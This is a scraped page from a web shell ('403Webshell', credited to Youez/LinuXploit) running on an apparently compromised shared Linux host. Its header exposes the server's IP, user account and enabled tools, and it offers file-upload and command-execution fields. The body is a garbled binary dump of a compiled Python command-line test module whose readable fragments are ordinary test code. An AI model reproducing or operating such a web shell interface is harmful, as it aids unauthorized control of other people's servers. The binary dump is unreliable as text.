403Webshell
Server IP : 118.27.122.248  /  Your IP : 216.73.216.230
Web Server : Apache
System : Linux web0264.sh.tyo1 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
User : c9415830 ( 11735)
PHP Version : 8.4.17
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python36/lib64/python3.6/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python36/lib64/python3.6/test/__pycache__/test_cmd_line.cpython-36.opt-2.pyc
3

�
�^�R�@s�ddlZddlZddlZddlZddlZddlZddlZddlmZm	Z	ddl
mZmZm
Z
mZmZdd�ZGdd�dej�Zdd	�Zed
kr�e�dS)�N)�
script_helper�
is_android)�spawn_python�kill_python�assert_python_ok�assert_python_failure� interpreter_requires_environmentcCst|�}|j�}||fS)N)r�wait)�p�data�
returncode�r
�2/opt/alt/python36/lib64/python3.6/test_cmd_line.py�_kill_python_and_exit_codesrc@s�eZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	e
je�d�dd��Z
dd�Zdd�Zdd�Zdd�Ze
jejjd�dd��Ze
jejdkd�dd ��Ze
jejd!kp�ed"�d#d$��Zd%d&�Zd'd(�Zd)d*�Zd+d,�Zd-d.�Z d/d0�Z!d1d2�Z"d3d4�Z#d5d6�Z$d7d8�Z%d9d:�Z&d;d<�Z'e
je(j)d=kd>�d?d@��Z*dAdB�Z+dCdD�Z,dEdF�Z-dGdH�Z.dIdJ�Z/dKdL�Z0dMdN�Z1e
je2j�dO�dPdQ��Z3e
jejdkdR�dSdT��Z4dUS)V�CmdLineTestcCstd�td�dS)N�.z< .)r)�selfr
r
r�test_directoriesszCmdLineTest.test_directoriescCsBt|�\}}}|j|dkp"|jd��|jd|�|jd|�dS)N��
s	Traceback)r�
assertTrue�endswith�assertNotIn)rZcmd_line�rc�out�errr
r
r�verify_valid_flagszCmdLineTest.verify_valid_flagcCs|jd�|jd�dS)Nz-Oz-OO)r)rr
r
r�
test_optimize!s
zCmdLineTest.test_optimizecCs|jd�dS)Nz-S)r)rr
r
r�test_site_flag%szCmdLineTest.test_site_flagcCstd�\}}}|jd|�dS)Nz-hsusage)r�assertIn)rrrrr
r
r�
test_usage(szCmdLineTest.test_usagecCsXdtjdd�jd�}x:dD]2}t|�\}}}|j|j|��|j|j|��qWdS)NzPython %d.%d��ascii�-V�	--version�-VV)r#r$r%)�sys�version_info�encoderZassertFalse�
startswithr)r�versionZswitchrrrr
r
r�test_version,s

zCmdLineTest.test_versioncCs8td�\}}}|jd|�td�\}}}|jd|�dS)Nz-vsstack overflowz-vv)rr)rrrrr
r
r�test_verbose3szCmdLineTest.test_verbosez6Cannot run -E tests when PYTHON env vars are required.cCs:dd�}|�}|j|i�|dd�}|j|ddd��dS)NcWs4tjdf|}|d7}tj|�}t|j�d�}|S)Nz-E�-c� import sys; print(sys._xoptions)r)r-r.)r&�
executable�
subprocess�check_output�eval�
splitlines)�argsr�optsr
r
r�get_xoptions?s

z/CmdLineTest.test_xoptions.<locals>.get_xoptionsz-Xaz	-Xb=c,d=eTzc,d=e)�a�b)�assertEqual)rr6r5r
r
r�
test_xoptions<s
	
zCmdLineTest.test_xoptionscs��fdd�}d}|d|�\}}}�j|j�d��j|d�|ddd|�\}}}�j|j�d	�ttd
�rx�j|d�n�j|d�dS)Ncsdtjg}|j|�tj}tj|||d�}|j�\}}|jj�|j	j�|j
}�j|d�|||fS)N)�stdout�stderrr)r&r/�extendr0�PIPE�Popen�communicater;�closer<rr9)r4�cmdr>r
rrr)rr
r�
run_pythonOs


z1CmdLineTest.test_showrefcount.<locals>.run_pythonz import sys; print(sys._xoptions)z-cs{}rz-XZshowrefcounts{'showrefcount': True}�gettotalrefcounts^\[\d+ refs, \d+ blocks\])r9�rstrip�hasattrr&�assertRegex)rrC�coderrrr
)rr�test_showrefcountNs
zCmdLineTest.test_showrefcountcCs0td�tdd�tddd�tdddd�dS)Nz-mZ
fnord43520xyzZrunpy�timeitz-n�1)rr)rr
r
r�test_run_modulejs
zCmdLineTest.test_run_modulecCs\tddddd�}|jjd�|jjd�t|�}|j|jd�dk�|j|jd
�dk�dS)
Nz-iz-mrJz-nrKsTimer
sexit()
s1 loop�s__main__.Timer���rN)r�stdin�writerr�find)rr
rr
r
r�test_run_module_bug1764407vsz&CmdLineTest.test_run_module_bug1764407cCs td�tdd�tdd�dS)Nz-czraise Exception�pass)rr)rr
r
r�
test_run_code�s
zCmdLineTest.test_run_codezneed support.FS_NONASCIIcCs&dtjjttjj�f}td|�dS)Nzassert(ord(%r) == %s)z-c)�test�support�FS_NONASCII�ordr)rZcommandr
r
r�test_non_ascii�szCmdLineTest.test_non_ascii�win32z Windows has a native unicode APIcCs�d}tjj�}d|d<d|d}tjtjd|gtjtj|d�}|j	�\}}|j
dkr\d	}n"|j
d
krld}ntd|j
|f��|j|�s�td
||f��dS)N���C�LC_ALLsimport locale; print(ascii("s""), locale.getpreferredencoding())z-c)r;r<�envrMs3Unable to decode the command from the command line:rs'\xff' z Unknown exit code: %s, output=%az%a doesn't start with %a)
�os�environ�copyr0r?r&r/r>�STDOUTr@r�AssertionErrorr))rZundecodabler^rHr
r;r<�patternr
r
r�test_undecodable_code�s 




z!CmdLineTest.test_undecodable_code�darwinz%test specific to Mac OS X and Androidcs.�fdd�}djd�}||�d}||�dS)Ncsv|jdd�}t|�jd�d}tjj�}d|d<tjtj	dd|ftj
|d	�}|j�\}}�j||��j|j
d
�dS)Nzutf-8�surrogateescaper"rr\r]z-cz%import sys; print(ascii(sys.argv[1])))r;r^r)�decoder"r(r_r`rar0r?r&r/r>r@r9r)�textZdecoded�expectedr^r
r;r<)rr
rr1�s
z7CmdLineTest.test_osx_android_utf8.<locals>.check_outputue:é, euro:€, non-bmp:􏿿zutf-8s�é��)r()rr1rir
)rr�test_osx_android_utf8�s

z!CmdLineTest.test_osx_android_utf8cCs�x�d
D]�}d|}tdd|�\}}}|dkr0|n|}|j|dd|�d|}tdd|�\}}}|dkrl|n|}|j|j�dd	|�qWdS)Nr;r<z6import os, sys; sys.%s.buffer.write(b'x'); os._exit(0)z-uz-c�xzbinary %s not unbufferedz0import os, sys; sys.%s.write('x\n'); os._exit(0)ztext %s not line-buffered)r;r<)rr9�strip)r�streamrHrrrrr
r
r�test_unbuffered_output�s
z"CmdLineTest.test_unbuffered_outputcCsTd}tdd|�}|jjd�|jj�t|�\}}|j|d�|j|jd�|�dS)Nz/import sys; sys.stdout.write(sys.stdin.read(1))z-uz-crlr)rrOrP�flushrr9rr))rrHr
rrr
r
r�test_unbuffered_input�s
z!CmdLineTest.test_unbuffered_inputcCs`dd}dd}|tj|}d}tdd||d�\}}}|j|jd�|�|j|jd�|�dS)	NZABCDE�dZFGHIJz�if 1:
            import sys
            path = ":".join(sys.path)
            path = path.encode("ascii", "backslashreplace")
            sys.stdout.buffer.write(path)z-Sz-c)�
PYTHONPATHr")r_�pathseprrr()rZpath1Zpath2�pathrHrrrr
r
r�test_large_PYTHONPATH�sz!CmdLineTest.test_large_PYTHONPATHcCs<d}td|dd�\}}}td|dd�\}}}|j||�dS)Nz�if 1:
            import sys
            path = ":".join(sys.path)
            path = path.encode("ascii", "backslashreplace")
            sys.stdout.buffer.write(path)z-c�)rsF)Z
__isolated)rr9)rrHZrc1Zout1Zerr1Zrc2Zout2Zerr2r
r
r� test_empty_PYTHONPATH_issue16309s
z,CmdLineTest.test_empty_PYTHONPATH_issue16309cCs�x�dD]�}tjj�}||d<tjtjdgtjtjtj|d�}d}|j	j
t|�jd�d�|j	j
d	�t
|�}t|�j|d
�}|j||�qWdS)Nr"�latin-1�utf-8ZPYTHONIOENCODINGz-i)rOr;r<r^ua=é b=� c=𐀀 d=􏿿rsexit()
�backslashreplace)r"ryrz)r_r`rar0r?r&r/r>rbrOrPr"r(r�reprr)r�encodingr^r
rirZescapedr
r
r�test_displayhook_unencodables

z(CmdLineTest.test_displayhook_unencodablecCs�tjd��f}tjjd�}|j|jd��|j�|jd�t	j
tjd|f|t	j
d��}|j�\}}WdQRXWdQRX|j|j�|�dS)	Nzwb+�ASCII�abc�defrz-c)rOr;)r�r�)�tempfileZNamedTemporaryFiler_�linesepr(rP�joinrp�seekr0r?r&r/r>r@r9rE)rrHrjrO�sep�procr;r<r
r
r�check_input%s

 zCmdLineTest.check_inputcCs|jdd�dS)Nz-import sys; print(repr(sys.stdin.readline()))s'abc\n')r�)rr
r
r�test_stdin_readline1szCmdLineTest.test_stdin_readlinecCs|jdd�dS)Nzprint(repr(input()))s'abc')r�)rr
r
r�test_builtin_input8szCmdLineTest.test_builtin_inputcCsTd}td|�\}}}tjdkr8|jd|�|jd|�n|jd|�|jd|�dS)Nz�if 1:
            import sys
            print(1)
            print(2)
            print(3, file=sys.stderr)
            print(4, file=sys.stderr)z-crZs1
2
s3
4s1
2
s3
4)rr&�platformr9)rrHrrrr
r
r�test_output_newline>s
zCmdLineTest.test_output_newlinecCs4tdd�\}}}|j|jdd�d�|jd|�dS)Nz-c�'r"�ignore�SyntaxErrorr)rrGrhr9)rrrrr
r
r�test_unmached_quoteOszCmdLineTest.test_unmached_quotecCsDd}td|�\}}}|jd|�|jd|�|j|jdd�d�dS)Nz�if 1:
            import os, sys, test.support
            test.support.SuppressCrashReport().__enter__()
            sys.stdout.write('x')
            os.close(sys.stdout.fileno())z-cr�xr"r�z"Exception ignored in.*
OSError: .*)rr9rGrh)rrHrrrr
r
r�test_stdout_flush_at_shutdownVsz)CmdLineTest.test_stdout_flush_at_shutdowncCs$d}td|�\}}}|jd|�dS)Nzimport sys; sys.stdout.close()z-cr)rr9)rrHrrrr
r
r�test_closed_stdoutdszCmdLineTest.test_closed_stdout�posixztest needs POSIX semanticscsndj�d�}�fdd�}tjtjdd|gtjtjtj|d�}|j�\}}|jtj	j
|�d�|j|jd	�dS)
Nz�if 1:
            import os, sys
            for i, s in enumerate({streams}):
                if getattr(sys, s) is not None:
                    os._exit(i + 1)
            os._exit(42))�streamscs:d�krtjd�d�kr$tjd�d�kr6tjd�dS)NrOrr;rMr<r!)r_rAr
)r�r
r�preexecus

z+CmdLineTest._test_no_stdio.<locals>.preexecz-Ez-c)rOr;r<Z
preexec_fnr�*)�formatr0r?r&r/r>r@r9rUrVZstrip_python_stderrr)rr�rHr�r
rrr
)r�r�_test_no_stdiomszCmdLineTest._test_no_stdiocCs|jdg�dS)NrO)r�)rr
r
r�
test_no_stdin�szCmdLineTest.test_no_stdincCs|jdg�dS)Nr;)r�)rr
r
r�test_no_stdout�szCmdLineTest.test_no_stdoutcCs|jdg�dS)Nr<)r�)rr
r
r�test_no_stderr�szCmdLineTest.test_no_stderrcCs|jdddg�dS)NrOr;r<)r�)rr
r
r�test_no_std_streams�szCmdLineTest.test_no_std_streamscCs|jd�g}tjjdd�dkr:ttj�}|d=d|d<ni}x>td�D]2}d}td|f|�\}}}|j|d	�|j|�qHWt	t
|��}|jt|�d
dj
|�d�d
}td|dd�\}}}|jd|�td|dd�\}}}|jd|�td|dd�\}}}|jd|�dS)Nz-R�PYTHONHASHSEEDZrandomrKZ
__cleanenv�zprint(hash("spam"))z-crrMz83 runs produced an identical random hash  for "spam": {})�msgz<import sys; print("random is", sys.flags.hash_randomization)rw)r�srandom is 1�0srandom is 0)rr_r`�get�dict�rangerr9�append�sorted�setZ
assertGreater�lenr�r)rZhashesr^�irHrrrr
r
r�test_hash_randomization�s.



z#CmdLineTest.test_hash_randomizationcCsRtjj}|jtjj|�t|d��}td|d�td|d�WdQRXt|�dS)N�wz
import sys)�filezdel sys.modules['__main__'])rUrVZTESTFNZ
addCleanup�unlink�open�printr)r�filenameZscriptr
r
r�test_del___main__�szCmdLineTest.test_del___main__cCs�tdd�\}}}|jd|�|j|j�jd�d�|jd|�tddd�\}}}|jd|�|j|j�jd�d�|jd|�tdddd�\}}}|jd|�|jd|�|j|j�jd�d�|jd|�dS)	Nz-Ez-zsUnknown option: -zrMr)Zwithoutz-asUnknown option: -a)rrr9r3�countr)rrrrr
r
r�test_unknown_options�sz CmdLineTest.test_unknown_optionsz6Cannot run -I tests when PYTHON env vars are required.cCs|jd�|jd�tddddd�\}}}|j|j�d�tjj���}tjj	|d�}tjj	|d	�}t
|d
��}|jd�WdQRXt
|d
��}|jd�|jd
�WdQRX|jt
jt
jtj|g|t
jd�t
jtjd|g|d�}|j|j�d�WdQRXdS)Nz-Iz-IEsz-czSfrom sys import flags as f; print(f.no_user_site, f.ignore_environment, f.isolated)rw)Zdummyvars1 1 1zuuid.pyzmain.pyr�z)raise RuntimeError('isolated mode test')
zimport uuid
zprint('ok')
)�cwdr<)r�sok)rrr9rmrUrVZtemp_cwdr_rur�r�rPZassertRaisesr0ZCalledProcessErrorr1r&r/ZDEVNULL)rrrrZtmpdirZfake�main�fr
r
r�test_isolatedmode�s*




zCmdLineTest.test_isolatedmodez!bpo-32457 only applies on WindowscCsbtjddf}tjjtj�\}}|d|}tj|tj|d�}|j|j	d|�|j|j
j�d�dS)Nz-czprint(0)z\.\.\.\)r;r/r�0)r&r/r_ru�splitr0Zrunr>r9rr;rm)rr4�prefixZexer/r�r
r
r�test_argv0_normalization�s
z$CmdLineTest.test_argv0_normalizationN)5�__name__�
__module__�__qualname__rrrrr r+r,�unittestZskipIfrr:rIrLrRrTZ
skipUnlessrUrVrWrYr&r�rerrkrorqrvrxr~r�r�r�r�r�r�r�r_�namer�r�r�r�r�r�r�r�rr�r�r
r
r
rrsT		! 
	"
rcCstjjt�tjj�dS)N)rUrVZrun_unittestrZ
reap_childrenr
r
r
r�	test_main�sr��__main__)Ztest.supportrUr�r_Zshutilr&r0r�rrZtest.support.script_helperrrrrrrZTestCaserr�r�r
r
r
r�<module>sf

Youez - 2016 - github.com/yon3zu
LinuXploit